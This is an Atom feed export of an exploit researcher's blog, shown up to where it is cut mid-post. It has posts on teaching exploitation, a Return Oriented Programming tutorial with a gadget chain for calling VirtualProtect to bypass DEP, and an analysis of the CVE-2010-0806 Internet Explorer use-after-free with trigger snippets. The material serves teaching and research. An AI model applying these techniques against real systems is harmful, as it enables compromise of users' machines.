<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-6583006355693901620</id><updated>2011-08-16T20:06:24.359-07:00</updated><category term='ekoparty'/><category term='bug'/><category term='bugs'/><category term='wedding'/><category term='master class'/><category term='file browser'/><category term='heap exploitation'/><category term='pelicula'/><category term='presentacion'/><category term='dvd'/><category term='win32'/><category term='h2hc'/><category term='niguiri'/><category term='japanese'/><category term='windows 2003'/><category term='tokyo'/><category term='ms08-053'/><category term='training'/><category term='bypassing'/><category term='ricoeur'/><category term='soccer'/><category term='justin seitz'/><category term='security'/><category term='keynote'/><category term='visualsploit'/><category term='django'/><category term='bluehat'/><category term='japon'/><category term='fork'/><category term='ben hawkes'/><category term='ms08-067'/><category term='traditional'/><category term='sisifo argentino'/><category term='exploits'/><category term='kyoto'/><category term='hzon'/><category term='use-after-free'/><category term='credential reflection attack'/><category term='hackerspace'/><category term='design'/><category term='nslookup'/><category term='webcam picture'/><category term='explotation'/><category term='immunity'/><category term='compiler'/><category term='vista'/><category term='microsoft tuesday'/><category term='shellcode'/><category term='messi'/><category term='partida'/><category term='slides'/><category term='hiroshima'/><category term='0day'/><category term='luciano bello'/><category term='yakitori'/><category term='immunity debugger'/><category term='debugger'/><category term='akihabara'/><category term='hacking'/><category term='blockindex'/><category term='conference'/><category term='md_update'/><category term='assembly'/><category term='tradicional'/><category term='or'/><category term='stack overflow'/><category term='gray hat python'/><category term='returned oriented programming'/><category term='bitacora'/><category term='python'/><category term='enola gay'/><category term='sushi'/><category term='exilio'/><category term='no more free bugs'/><category term='conflicker'/><category term='rop'/><category term='windows'/><category term='mosdef'/><category term='canvas'/><category term='japones'/><category term='count'/><category term='the great bas alberts'/><category term='teaching'/><category term='temples'/><category term='group_by'/><category term='nop certification'/><category term='templos'/><category term='futbol'/><category term='pheap'/><category term='chunkanalizehook'/><category term='sao paulo'/><category term='stealing'/><category term='experience'/><category term='vista heap'/><category term='ucrentry'/><category term='motion detection'/><category term='heap overflow'/><category term='trainings'/><category term='heap cache allocator'/><category term='post'/><category term='brazil'/><category term='sanfrecce'/><category term='bacon'/><category term='argentina'/><category term='pacsec'/><category term='ie_peers'/><category term='miami'/><category term='activex'/><category term='flushing'/><category term='ekoparty 2009'/><category term='cyberdefense'/><category term='casamiento'/><category term='shibuya'/><category term='japan'/><category term='0days'/><category term='miyajima'/><category term='reflexión'/><title type='text'>Etica Nicomana</title><subtitle type='html'></subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://eticanicomana.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6583006355693901620/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://eticanicomana.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>Nico Waisman</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_aUReV5sSeqk/SK8WvUJkBdI/AAAAAAAADD4/PGa-HWl7rJw/S220/DSC00333.JPG'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>58</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-6583006355693901620.post-631245460242816721</id><published>2011-04-26T19:06:00.000-07:00</published><updated>2011-04-26T19:08:23.212-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='immunity'/><category scheme='http://www.blogger.com/atom/ns#' term='teaching'/><category scheme='http://www.blogger.com/atom/ns#' term='master class'/><title type='text'>Teaching exploit development</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://www.myrmecos.net/ants/Myrmecia5.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://www.myrmecos.net/ants/Myrmecia5.JPG" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Giving a training is one of the hardest thing you will ever experience in a researcher's life (and one of the most rewarding).&lt;br /&gt;Over the 5 days we spent last week giving the Master Class, there were months spent working on the material, preparing exercises, etc.&lt;br /&gt;My first thought when i did my first training back in 2004, was that it was simple. I completely master the subject i was teaching&amp;nbsp; and the slide deck was pretty solid. But that was just one part of the deal, communicating the knowledge is hard and brain consuming. It's not just "explaining" a subject, but rather transferring the knowledge in such a way that is exciting, mantain the attention of the class for 8 hours a day and it's progressive.&lt;br /&gt;The composition of the class is probably one of the hardest challenge. They are generally very heterogeneous, from super skilled people that should be with you teaching the class&amp;nbsp; to people that are completely new to the subject. I always tell the story of my experience in Japan, where the first day I make everyone introduce themselves and tell me their experience with the heap, two out of the twenty students have no idea what the heap was, and in fact, their expertise on security was very physical: They work installing security doors.&lt;br /&gt;It's really complex to maintain a balance on a class and make everyone happy, you need to be prepare with a series of exercises and even that won't starve the most hungry for knowledge, whether at the same time you need to have simple exercises and good analogies for the new ones.&lt;br /&gt;The classes on exploitation are a subject by their own. An exploit is something that should not be happening on that machine, you have the whole system against you and now you are not only teaching it but helping 34 people at the same time having all kind of problems. And the worst part, you have 30 seconds to sit on his machine and understand every step of their logic to help them out.&lt;br /&gt;For all of those reasons, is why we try to teach methodology over specific exploitation techniques. Bug Class die, primitive don't. And methodology have a lot to do with primitives, whether is messaging the heap layout to craft a deterministic heap or getting a infoleak out of use-after-free.&lt;br /&gt;If you attend a class, and you think that you are only learning how to use a tool, pack your stuff because you just lost. You lost for one of the two reasons: They are actually just teaching you how to use a tool and nothing more or you didn't understood the concept of the class at ALL.&lt;br /&gt;Tools need to be learned to understand the methodology, not because people randomly want to coopt you on the army of users, but rather because they are providing the tools to move from that point one (Of course, they are classes just focus on tools, try to avoid them). Imagine teaching a class of 34 people with completely different backgrounds about SMT Solvers and symbol execution, using SMT-lib language (lisp alike language) or leaving by themselves and the debugger of choice the hooking of very specific functions to obtain some information (You will be have people using from windbg to the most obscure debugging library, and you will have to support them and actively help them with their mistakes).&lt;br /&gt;I want to share just one last anecdote, that summarize the blog post. We were working on an use-after-free exercise the second day of the class, and i just explained a type of script they had to write to hook on specific functions on mshtml.dll to dynamically find softmemleak on Elements properties. Since we were running out of time, I asked the student what they would prefer: Continue working on exploiting the bug or&amp;nbsp; write the script? And Halvar answered cleverly as he usually does: "What's the difference?"&lt;br /&gt;&lt;br /&gt;Nico&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6583006355693901620-631245460242816721?l=eticanicomana.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://eticanicomana.blogspot.com/feeds/631245460242816721/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6583006355693901620&amp;postID=631245460242816721' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6583006355693901620/posts/default/631245460242816721'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6583006355693901620/posts/default/631245460242816721'/><link rel='alternate' type='text/html' href='http://eticanicomana.blogspot.com/2011/04/teaching.html' title='Teaching exploit development'/><author><name>Nico Waisman</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_aUReV5sSeqk/SK8WvUJkBdI/AAAAAAAADD4/PGa-HWl7rJw/S220/DSC00333.JPG'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6583006355693901620.post-210805780475188125</id><published>2010-06-21T14:21:00.000-07:00</published><updated>2010-06-21T14:21:44.756-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='returned oriented programming'/><category scheme='http://www.blogger.com/atom/ns#' term='rop'/><category scheme='http://www.blogger.com/atom/ns#' term='immunity debugger'/><title type='text'>The so called Return Oriented Programming...</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_aUReV5sSeqk/TB_Tyn1wAPI/AAAAAAAAG2M/AO89-d4mfSU/s1600/10931250-lg.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="214" src="http://4.bp.blogspot.com/_aUReV5sSeqk/TB_Tyn1wAPI/AAAAAAAAG2M/AO89-d4mfSU/s320/10931250-lg.jpg" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Dear Diary,&lt;br /&gt;I always hate the name Returned Oriented Programming, not because it might be an accurate name but just cause it sounds like they are reinventing the wheel once again. Paraphrasing aeschylus sometimes i think the offensive security is just &lt;i&gt;bread crumbs from the great banquet of the end of the 90's hackers&lt;/i&gt;.&lt;br /&gt;Anyway, recently I have to teach a class in Norway, the group of students was very smart which always help you push further and further. The last day, as part of our advance stack overflow class, we teach them how to write a ROP shellcode and go the next step and write their automatically tool.&lt;br /&gt;Obviously, one day is not much to write your own tool, but was enough to write their shellcode which I'm proud to said it was half the size of the public exploit I saw.&lt;br /&gt;Since the term start getting over-hyped, I think in a way it make it look far and harder. But thinkings of way to teach it in a class, makes me realize how simple it is. You see some exploits going for the most complicated solutions while the simple ones are shorter and more accurate sometimes. &lt;br /&gt;So let me give you some hints, which are part of the &lt;a href="http://www.immunityinc.com/education-overview.shtml"&gt;Advance Stack Overflow&lt;/a&gt; class at Immunity:&lt;br /&gt;&lt;br /&gt;The first step before start writing a ROP shellcode is to plan the strategy ahead, else you will be improvising in the middle of your shellcode and the consequences are going to be just ugly.&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_aUReV5sSeqk/TB-FX0WX30I/AAAAAAAAG1w/P6VnDAfDYK4/s1600/2010-06-15_11-37-52_597.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/_aUReV5sSeqk/TB-FX0WX30I/AAAAAAAAG1w/P6VnDAfDYK4/s320/2010-06-15_11-37-52_597.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Here are some bulletpoints of what you should be thinking ahead before starting your shellcode:&lt;br /&gt;&lt;br /&gt;&lt;ol&gt;&lt;li&gt; &lt;b&gt;Restriction Bypass&lt;/b&gt; &lt;br /&gt;As we know, the trick behind ROP is that you are basing all your return values on one or two dlls whose base is known by you, either by an infoleak or just lack of REBASE flag.&lt;br /&gt;With that in mind, you need to find out which API functions are being imported (statically or dinamically) in order to find out how you are going to bypass it.&lt;br /&gt;&lt;span style="color: #38761d;"&gt;VirtualAlloc&lt;/span&gt;&lt;br style="color: #38761d;" /&gt;&lt;span style="color: #38761d;"&gt; VirtualProtect&lt;/span&gt;&lt;br style="color: #38761d;" /&gt;&lt;span style="color: #38761d;"&gt; WriteProcessMemory&lt;/span&gt;&lt;br style="color: #38761d;" /&gt;&lt;span style="color: #38761d;"&gt; HeapCreate/HeapAlloc&lt;/span&gt;&lt;br style="color: #38761d;" /&gt; &lt;br /&gt;There are probably a bunch more, you just need to use your imagination. A recently paper from &lt;a href="http://www.insomniasec.com/publications/DEPinDepth.ppt"&gt;Brett Moore&lt;/a&gt;, make me realize you can use the same trick too. &lt;br /&gt;Let said you don't have access to any of those API functions, so as you see, the field to play with is very small, an interesting way to potentially bypass it will be by using GlobalAlloc, or any kind of heap wrapper.&lt;br /&gt;When we call any of those functions with normal size, it will returns us a memory chunk. With the address of the memory chunk we can easily obtain the Heap Segment http://www.nirsoft.net/kernel_struct/vista/HEAP_SEGMENT.html (usually the LSB are zero). Once you get the Heap Segment, you can grab the address of the PHEAP from it and change the permission flag into EXECUTABLE HEAP.  Then the next step will be to force a second allocation of a big size such as it's going to use VirtualAlloc and make it Executable. Voila!&lt;/li&gt;&lt;li&gt; &lt;b&gt;Which registers we control?&lt;/b&gt;&lt;br /&gt;a) Can we control the content to all the registers (In Immunity Debugger a good way to check it, is just to get a POP R32/RETN)&lt;br /&gt;b) Exchange / Move between registers: All kind of combinations and flavour, whether is just a “MOV RA, RB” , “OR RA, RB” or “XCHG RA, RB”. And so on... Swapping with ESP is always important.&lt;br /&gt;c)  Register logic: Look for different types of register logic, this will allow you to later bypass bad characters restrictions. (NEG R32, etc)&lt;/li&gt;&lt;li&gt; &lt;b&gt;Memory Access Instruction &lt;/b&gt;&lt;br /&gt;You most likely will be doing a lot of READ / WRITE operations, thats the main point of the so called ROP.&lt;br /&gt;MOV [R32], R32&lt;br /&gt;MOV R32, [R32]&lt;br /&gt;&lt;/li&gt;&lt;li&gt; &lt;b&gt;CPU Context&lt;/b&gt;&lt;br /&gt;Very important to reduce the amount of dwords used, always check if there is more than just ESP pointing to the controlled buffer.&lt;/li&gt;&lt;/ol&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Exploiting 101 &lt;/b&gt;&lt;br /&gt;&lt;br /&gt;The main trick to make ROP very simple (if we can really called it a trick), is just generate a parallel stack for calling functions. The parallel stack if needs to be created on a known address (if possible, which most of the time it is, else we can use ESP itself), if you know the base address of your dll, you most of the times can calculate the address of the .data (RW) section. That's a good spot to start creating your parallel stack (There are static RW pages at the same address along all version of Windows, but that is an exercise for the readers).&lt;br /&gt;&lt;br /&gt;In the exercise we were exploiting on class, we were able to respond to all of the questions in the strategy, we have VirtualProtect imported, all the registers could be written with whatever we want, we were able to xchg with the stack , all kind of combinations of memory READ and WRITE and finally EBP was pointing to our stack.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: blue;"&gt;pop&lt;/span&gt;  R32/ ret            // All the registers&lt;br /&gt;&lt;span style="color: blue;"&gt;mov&lt;/span&gt; [ecx], eax / ret  // Write to ECX&lt;br /&gt;&lt;span style="color: blue;"&gt;mov&lt;/span&gt; eax, [ecx] / ret   // Read from ECX&lt;br /&gt;&lt;span style="color: blue;"&gt;mov&lt;/span&gt; [eax], ebp / ret   // Write to EAX content of EBP&lt;br /&gt;&lt;span style="color: blue;"&gt;xchg&lt;/span&gt;  eax, esp            // Exchange eax with ESP&lt;br /&gt;&lt;span style="color: blue;"&gt;neg&lt;/span&gt; eax                      // To bypass character restrictions&lt;br /&gt;&lt;br /&gt;With that combination, creating the parallel stack to call VirtualProtect on our stack was trivial:&lt;br /&gt;We just need to get the address of VirtualProtect, copy into the parallel stack and start writing all the arguments of VirtualProtect in the parallel stack, for the address to “unprotect” we used the stack itself taken from EBP, the other arguments were just trivial to craft. At the end, you xchg ESP with your parallel stack that will execute VirtualProtect (with the same ret2libc trick you were using) and later jump back to the stack, this time to actually execute your shellcode.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;PSEUDO RETURN ADDRESS OPCODE CODE:&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: blue;"&gt;POP&lt;/span&gt; ECX &lt;br /&gt;&lt;div style="color: red;"&gt;VIRTUALPROTECT IMPORT&lt;/div&gt;&lt;span style="color: blue;"&gt;MOV&lt;/span&gt; EAX, [ECX]  // EAX now holds the address of VirtualProtect&lt;br /&gt;&lt;span style="color: blue;"&gt;POP&lt;/span&gt; ECX&lt;br /&gt;&lt;span style="color: red;"&gt;DATA  ADDR&lt;/span&gt;           // ECX =  DATA &lt;br /&gt;&lt;span style="color: blue;"&gt;MOV&lt;/span&gt; [ECX], EAX   //   Paralel Stack :  0: [  VirtualProtect ]&lt;br /&gt;&lt;span style="color: blue;"&gt;POP&lt;/span&gt; EAX&lt;br /&gt;&lt;span style="color: red;"&gt;DATA ADDR+8&lt;/span&gt;       // EAX = ADDR+8&lt;br /&gt;&lt;span style="color: blue;"&gt;MOV&lt;/span&gt; [EAX], EBP   //    Paralel Stack:   8 [ Address of Stack ]&lt;br /&gt;&lt;span style="color: blue;"&gt;POP&lt;/span&gt; EAX&lt;br /&gt;&lt;div style="color: red;"&gt;-0x2000&lt;/div&gt;&lt;span style="color: blue;"&gt;NEG&lt;/span&gt; EAX                // EAX= 0x2000     Bypassing bad characters&lt;br /&gt;&lt;span style="color: blue;"&gt;POP&lt;/span&gt; ECX&lt;br /&gt;&lt;span style="color: red;"&gt;DATA + 0xC&lt;/span&gt;             // ECX = DATA + 0xC&lt;br /&gt;&lt;span style="color: blue;"&gt;MOV&lt;/span&gt; [ECX], EAX   //   Paralel Stack :  C: [  Size: 0x2000 ]&lt;br /&gt;&lt;span style="color: blue;"&gt;POP&lt;/span&gt; EAX&lt;br /&gt;&lt;span style="color: red;"&gt;-0x40&lt;/span&gt;                        // EAX = -0x40        &lt;br /&gt;&lt;span style="color: blue;"&gt;NEG&lt;/span&gt; EAX                 // EAX = 0x40&lt;br /&gt;&lt;span style="color: blue;"&gt;POP&lt;/span&gt; ECX                 &lt;br /&gt;&lt;span style="color: red;"&gt;DATA + 0xC&lt;/span&gt;             // ECX = DATA+0xC&lt;br /&gt;&lt;span style="color: blue;"&gt;MOV&lt;/span&gt; [ECX], EAX   //   Paralel Stack :  0x10: [  Flag: 0x40 ]&lt;br /&gt;&lt;span style="color: blue;"&gt;POP&lt;/span&gt; ECX&lt;br /&gt;&lt;span style="color: red;"&gt;DATA + 0x10&lt;/span&gt;           // ecx = data+0x10&lt;br /&gt;&lt;span style="color: blue;"&gt;POP&lt;/span&gt; EAX&lt;br /&gt;&lt;span style="color: red;"&gt;DATA + 0x60&lt;/span&gt;           // eax = data+0x60&lt;br /&gt;&lt;span style="color: blue;"&gt;MOV&lt;/span&gt; [ECX], EAX   //   Paralel Stack :  0x14: [  OldProtect: Writeable addres in data ]&lt;br /&gt;&lt;span style="color: blue;"&gt;POP&lt;/span&gt; EAX                  &lt;br /&gt;&lt;span style="color: red;"&gt;DATA&lt;/span&gt;                        // eax = data&lt;br /&gt;&lt;span style="color: blue;"&gt;XCHG&lt;/span&gt; EAX, ESP &lt;br /&gt;&lt;br /&gt;At this point in code, where we change switch to a parallel stack that it will look like:&lt;br /&gt;&lt;br /&gt;[ &lt;span style="color: #274e13;"&gt;VirtualProtect&lt;/span&gt; ]&lt;br /&gt;[ &lt;span style="color: #274e13;"&gt; XXXXXXXX&lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ]&lt;br /&gt;[ &lt;span style="color: #274e13;"&gt; Stack addr&lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;      ]&lt;br /&gt;[ &lt;span style="color: #274e13;"&gt; 0x2000&lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;           ]&lt;br /&gt;[ &lt;span style="color: #274e13;"&gt; 0x40&lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;               ]&lt;br /&gt;[ &lt;span style="color: #274e13;"&gt;  DATA +0x60&lt;/span&gt;&amp;nbsp;&amp;nbsp; ]&lt;br /&gt;&lt;br /&gt;When the new parallel stack get executed, it will call VirtualProtect on our stack address and later return to XXXXX (I didn't set it, but that should be your stack :)&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Conclusion&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Once you get shellcode execution, you should go back to your very simple primitives and try to sequence of opcode that do what you one in less step, like a combination of POP or multiple memory access. Always keep in mind that the less return addresses you have, the easy to port and make universal (?).&lt;br /&gt;The lesson learned is that a rop shellcode can easily be understood and written as a series of calls, read and writes instructions.&amp;nbsp; &lt;br /&gt;At the end, this is nothing more than the old school return to libc, I recommend to read Pablo's 2008 presentation about &lt;a href="http://www.immunityinc.com/downloads/DEPLIB.pdf"&gt;DEPLIB&lt;/a&gt;&amp;nbsp; for ideas on how to write your own ROP tool.&lt;br /&gt;Sorry for the lack of images or screenshot, but i'm actually should be spending all my free time getting my research done for &lt;a href="https://www.blackhat.com/html/bh-us-10/bh-us-10-schedule.html"&gt;Blackhat&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;The picture on this post was taken by &lt;a href="http://photo.net/photodb/photo?photo_id=10931250&amp;amp;size=lg"&gt;Igor Siwanowicz&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6583006355693901620-210805780475188125?l=eticanicomana.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://eticanicomana.blogspot.com/feeds/210805780475188125/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6583006355693901620&amp;postID=210805780475188125' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6583006355693901620/posts/default/210805780475188125'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6583006355693901620/posts/default/210805780475188125'/><link rel='alternate' type='text/html' href='http://eticanicomana.blogspot.com/2010/06/so-called-return-oriented-programming.html' title='The so called Return Oriented Programming...'/><author><name>Nico Waisman</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_aUReV5sSeqk/SK8WvUJkBdI/AAAAAAAADD4/PGa-HWl7rJw/S220/DSC00333.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_aUReV5sSeqk/TB_Tyn1wAPI/AAAAAAAAG2M/AO89-d4mfSU/s72-c/10931250-lg.jpg' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6583006355693901620.post-1460843549621706847</id><published>2010-03-26T05:01:00.000-07:00</published><updated>2010-03-26T08:47:43.868-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='use-after-free'/><category scheme='http://www.blogger.com/atom/ns#' term='ie_peers'/><title type='text'>(A)leatory (P)ersitent (T)hreat</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://farm3.static.flickr.com/2499/4081467571_a32815d00d_o.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 624px; height: 464px;" src="http://farm3.static.flickr.com/2499/4081467571_a32815d00d_o.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;The &lt;a href="http://dictionary.reference.com/browse/aleatory?jss=0"&gt;Random House Dictionary&lt;/a&gt; defines aleatory as:&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;2.&lt;/span&gt; &lt;span style="font-style: italic;"&gt;of or pertaining to accidental causes; of luck or chance; unpredictable: an aleatory element.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;I will stay with&lt;span style="font-style: italic;"&gt; accidental causes&lt;/span&gt;, or just plain &lt;span style="font-style: italic;"&gt;luck&lt;/span&gt; to describe the exploit that was found on the wild for the CVE-2010-0806 vulnerability a couple of weeks ago. The bug is nothing more than 0day found on the wild attached with your favourite trojan (Zeus in this case) that works against Internet Explorer 6-7.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;The bug&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The bug class is what we known as a use-after-free, that means that at some point some object is freed but we continue use it. A good example of this bug class on a non-browser was the 2001 globbing capabilities bug on wu-ftpd that people cleverly exploit (yes, pretty much everything was done by 2001).&lt;br /&gt;In the case of CVE-2010-0806 (a.k.a. ie_peers), the bug is on an old DHTML featured called &lt;a href="http://msdn.microsoft.com/en-us/library/ms531079%28VS.85%29.aspx"&gt;behaviours&lt;/a&gt; "&lt;span style="font-style: italic;"&gt;DHTML behaviors are components that encapsulate specific functionality or behavior on a page&lt;/span&gt;".&lt;br /&gt;The bug itself is when trying to persist an object using the setAttribute, which end up calling VariantChangeTypeEx with both the source and the destination being the same variant. So if you send as a variant an &lt;a href="http://msdn.microsoft.com/en-us/library/ms897140.aspx"&gt;IDISPATCH&lt;/a&gt; the algorythm will try to do a VariantClear of the destination before using it. This will end up on a call to PlainRelease which decref the reference and clean the object.&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_aUReV5sSeqk/S6y-r71CrBI/AAAAAAAAGsc/c53CaB2ZvUs/s1600/aaa_samevar.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 38px;" src="http://4.bp.blogspot.com/_aUReV5sSeqk/S6y-r71CrBI/AAAAAAAAGsc/c53CaB2ZvUs/s320/aaa_samevar.png" alt="" id="BLOGGER_PHOTO_ID_5452942910842645522" border="0" /&gt;&lt;/a&gt;&lt;span style="font-style: italic;font-size:78%;" &gt;VariantChangeTypeEx called with the same source and destination&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;Mark dowd, the internet security oracle already talk about those kind of potential bugs here: &lt;a href="http://www.hustlelabs.com/stuff/bh2009_dowd_smith_dewey.pdf"&gt;bh2009_dowd_smith_dewey.pdf&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Pertaining to accidental causes&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;When i first read the chinese/russian exploit, i was thrill on how it really works. Specially since my conception of a use-after-free was:&lt;br /&gt;1) free the object&lt;br /&gt;2) allocate memory to fill it&lt;br /&gt;3) Use it&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_aUReV5sSeqk/S6y_TgMlKlI/AAAAAAAAGsk/BXSuzkYFNhE/s1600/aaa_variantclear.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 79px;" src="http://2.bp.blogspot.com/_aUReV5sSeqk/S6y_TgMlKlI/AAAAAAAAGsk/BXSuzkYFNhE/s400/aaa_variantclear.png" alt="" id="BLOGGER_PHOTO_ID_5452943590619949650" border="0" /&gt;&lt;/a&gt;&lt;span style="font-style: italic;font-size:78%;" &gt;VariantClear will decrement the reference counter or free the object&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;Well, my conception of a use-after-free remains the same, but the on-the-wild exploit was just relying on the mystery of heap randomness to make this exploit execute shellcode.&lt;br /&gt;The exploit first do a common heap spray with shellcode and later just run the use-after-free trying to free the window object and later just wait the lord to work in mysterious ways and 1/10 times execute shellcode. This is what we called in Immunity: pray-after-free.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Exploiting&lt;/span&gt;&lt;br /&gt;The exploitation mechanism of a use-after-free is very simple, everything that was free need to be allocated with something we control. You can use every resource you want, just be sure that whatever you are allocating, it has to be on the exact same heap.&lt;br /&gt;Another important decision is what to free. The public exploit use the window global which to me looks like something that  could be potentially use it before we fill it. That's why creating your own element is always recommend it.&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;var p = document.createElement("BODY");&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;Creating our own element also gave us a very good idea of the reference count of the object, instead of just looping 10 times, we just call setAttribute on the createdElement.&lt;br /&gt;On the TEAROFF classes, such as the Elements returned by document.createElement it does the decref through the PlainRelease. This function has 2 dword where it cache the thunk before actually free it.&lt;br /&gt;We need to do two more setAttribute, in order to take p out of the cache and call MemFree.&lt;br /&gt;e.setAttribute('s', p);&lt;br /&gt;e.setAttribute('s', t);&lt;br /&gt;e.setAttribute('s', w); // In this VarClear call, is when it actually going to free the chunk.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;The Element objects are allocated on the default heap, so our soft-memleak needs to be on the same heap. Strings are allocated through SysAllocateLen which end up on the default heap as explained by Sotirov's Heap Feng Shui but (there is always a but...) jscript String had the length as the first dword, which on our object is a vtable pointer, exactly what we want to control.&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_aUReV5sSeqk/S6zAIjhYaPI/AAAAAAAAGss/tH6m6l-9BIg/s1600/aaa_chunk.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 314px; height: 242px;" src="http://1.bp.blogspot.com/_aUReV5sSeqk/S6zAIjhYaPI/AAAAAAAAGss/tH6m6l-9BIg/s400/aaa_chunk.png" alt="" id="BLOGGER_PHOTO_ID_5452944502045567218" border="0" /&gt;&lt;/a&gt;&lt;span style="font-style: italic;font-size:78%;" &gt;Object Chunk that need to be filled (The alerted readers will notice that the chunk is a Low Fragmentation Heap chunk).&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;In CANVAS exploit, we use &lt;span style="font-weight: bold;"&gt;XMLHttpRequest&lt;/span&gt;.open() but there are many tricks like &lt;a href="http://www.twitter.com/WTFuzz"&gt;@WTFuzz&lt;/a&gt; &lt;span style="font-weight: bold;"&gt;document.createElement&lt;/span&gt;(‘div’).className&lt;br /&gt;The next step is finding the exact size of the chunk, so we can allocate our object and replace the vtable.&lt;br 